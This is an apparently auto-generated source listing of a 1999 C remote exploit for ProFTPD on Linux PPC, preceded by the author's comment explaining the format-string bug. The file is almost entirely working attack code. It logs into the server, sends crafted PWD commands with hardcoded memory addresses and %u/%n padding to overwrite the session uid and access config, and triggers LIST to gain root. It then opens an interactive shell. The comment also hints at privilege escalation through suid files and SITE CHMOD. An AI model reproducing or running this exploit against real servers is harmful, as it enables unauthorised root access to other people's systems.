Logo Search packages:      
Sourcecode: raccess version File versions  Download package

pro1.2.0d.c

/* PRIVATE              Do  not distribute            PRIVATE
                                                        oktober 1999
 
   pro-ftpd remote exploit (linux ppc)
 
Bug: Proftpd (<= pre6) passes user commands to snprinft().
     snprintf(argv,len,command + host + etc);
     This makes it possible to insert formatstrings.
     %n: writes the number of chars written to the location pointed to by it's 
     argument. 
 
     Stack:
        [ user argument ]
        [ other stuff ]
        [ arguments + stack of the snprintf funtion + subfunctions ]
 
    We walk to all that garbage using %u and stop at a certain possition inside
    the usercommand. At that possition is the address that will be overwritten by %n.
 
    Exploit is simple we overwrite the uid and the anonconfig. After a uid change
    by LIST. We are root :-)
 
Exploit:      
   Linuxppc has a bad char (newline) in the address of session.anonconfig.
   This is why I overwrite DenyAll inside the config, But this area in memory
   is allocated and therefore unpredictable on a remote box. This is needed to 
   get write access on the server (within the chroot-env).
 
   o Anonymous login: you can overwrite anything in /home/ftp.
        Getting out of the chroot-enviroment is impossible since proftpd 
        doesn't use external program (to overwrite). 
        hint: use .forward in combination with a suid file.
        
   o Local login: instant root by changing permission to suid.
            hint: SITE CHMOD 6755 <file> (is allowed in proftpd, not in wuftpd)
 
   I plugged this exploit in the ftp program, because this program doesn't have
   data-connection support. Because it's not really needed.
 
   I used this bug to get root on linuxppc but they never gave me credit for it.
 
   I made a x86 exploit too, but i don't have any rpm-addy's. Only my testing vals.
   I heard RH6.x comes with proftpd, anyone wanna let me get the addy's? mail me.
 
   Greets to grue, lockdown, DryGrain   
   by lamagra <lamagra@uglypig.org>
   
   http://lamagra.seKure.de
   http://penguin.seKure.de
*/

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <netdb.h>

#define NUM    150
#define DEFAULT_OFFSET 0

unsigned long resolve(char *);
void usage(char *);
void wait_msg(int);
void ftplogin(int, char *, char *);
void shell(int);

extern char *optarg;
extern int optind;

int main(int argc, char **argv)
{
  struct sockaddr_in addr;
  int sockfd,i;
  long port=21,*addrptr;
  char c, name[100],pass[100],buf[1024];

  /* SET DEFAULTS */

  strcpy(name,"ftp");
  strcpy(pass,"h@ck.er");

  while((c = getopt(argc,argv,"hn:p:c:")) != EOF)
    {
      switch(c)
        {
        case 'h':
          usage(argv[0]);
        case 'n':
          strncpy(name,optarg,100);
          break;
        case 'p':
          strncpy(pass,optarg,100);
          break;
        case 'c':
          port = atol(optarg);
        }
    }

  if((argc - optind) != 1) usage(argv[0]);

  bzero(&addr, sizeof(struct sockaddr_in));
  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = resolve(argv[optind++]);

  printf("Connecting.....");

  if((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1)
    {
      printf("failed\n");
      perror("socket");
      exit(-1);
    }

  if(connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0)
    {
      printf("failed\n");
      perror("connect");
      exit(-1);
    }

#ifdef DEBUG
  sockfd = fileno(stdout);
#endif

  wait_msg(sockfd);
  printf("success\n");

  printf("Logging in <%s>:<%s>\n",name,pass);
  ftplogin(sockfd,name,pass);

  strcpy(buf,"PWD aaaa");
  /* Overwrite config to allow writing
   * 0x0187e608: session.anon_config, bad char in 0x0187e60a
   * DenyAll is at 0x1885f01 on the box i used for testing 
   * It just fucks up the string -> DenyAll isn't found -> default is AllowAll
   */
  buf[8]  = 0x01;
  buf[9]  = 0x88;
  buf[10] = 0x5f;
  buf[11] = 0x01;
  /* session.disable_idswithing is at 0x187e5ca */
  buf[12] = 0x01;
  buf[13] = 0x87;
  buf[14] = 0xe5;
  buf[15] = 0xca;
  /* Ugly, Ugly / didn't feel like counting :-) */
  strncpy(buf+16,"%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u",NUM);
  strcpy(buf+16+NUM,"%n%n\r\n");
  write(sockfd,buf,strlen(buf));

  sleep(1);

  /* 0x0187e5cc: session.uid*/
  buf[8]  = 0x01;
  buf[9]  = 0x87;
  buf[10] = 0xe5;
  buf[11] = 0xcc;
  buf[12] = 0x01;
  buf[13] = 0x87;
  buf[14] = 0xe5;
  buf[15] = 0xce;
  write(sockfd,buf,strlen(buf));

  /* 0x187e5d0: session.ouid */
  buf[8]  = 0x01;
  buf[9]  = 0x87;
  buf[10] = 0xe5;
  buf[11] = 0xd0;
  buf[12] = 0x01;
  buf[13] = 0x87;
  buf[14] = 0xe5;
  buf[15] = 0xd2;
  write(sockfd,buf,strlen(buf));

  /* LIST switches uid to session.ouid to bind to port 20 (ftp-data - privelidged port) */
  write(sockfd,"LIST\r\n",6);

  /* LIST returns error "No data connection" */
  do
    {
      read(sockfd,buf,sizeof(buf));
    }
  while(strstr(buf,"connection") == 0);

  printf("Opening shell-connection\n");
  shell(sockfd);

  printf("THE END\n");
  close(sockfd);
}

void shell(int sockfd)
{
  char buf[1024];
  fd_set set;
  int len;

  while(1)
    {
      FD_SET(fileno(stdin),&set);
      FD_SET(sockfd,&set);
      select(sockfd+1,&set,NULL,NULL,NULL);

      if(FD_ISSET(fileno(stdin),&set))
        {
          memset(buf,0,1024);
          fgets(buf,1024,stdin);
          write(sockfd,buf,strlen(buf));
        }

      if(FD_ISSET(sockfd,&set))
        {
          memset(buf,0,1024);
          if((len = read(sockfd,buf,1024)) == 0)
            {
              printf("EOF.\n");
              exit(-1);
            }

          if(len == -1)
            {
              perror("read");
              exit(-1);
            }
          puts(buf);
        }
    }
}

void ftplogin(int sockfd, char *user,char *passwd)
{
  char send[500];

  memset(send,0,500);
  snprintf(send,500,"USER %s\r\n",user);
  write(sockfd,send,strlen(send));
  wait_msg(sockfd);

  memset(send,0,500);
  snprintf(send,500,"PASS %s\r\n",passwd);
  write(sockfd,send,strlen(send));
  wait_msg(sockfd);
  return;
}

void wait_msg(int sockfd)
{
  char c;

  while(read(sockfd,(char *)&c,sizeof(char)) > 0)
    {
      if(c == '\n') break;
    }
}

unsigned long resolve(char *hostname)
{
  struct hostent *hp;
  unsigned long ip;

  if((ip = inet_addr(hostname)) == -1)
    {
      if((hp = gethostbyname(hostname)) == NULL)
        {
          printf("Can't resolve hostname <%s>.\n",hostname);
          exit(-1);
        }
      memcpy(&ip,hp->h_addr,4);
    }
  return ip;
}

void usage(char *name)
{
  printf("Usage: %s <host> [-n name] [-p pass] [-c port]\n",name);
  exit(-1);
}
/*                    www.hack.co.za                  [23 Feb 2000]*/ 

Generated by  Doxygen 1.6.0   Back to index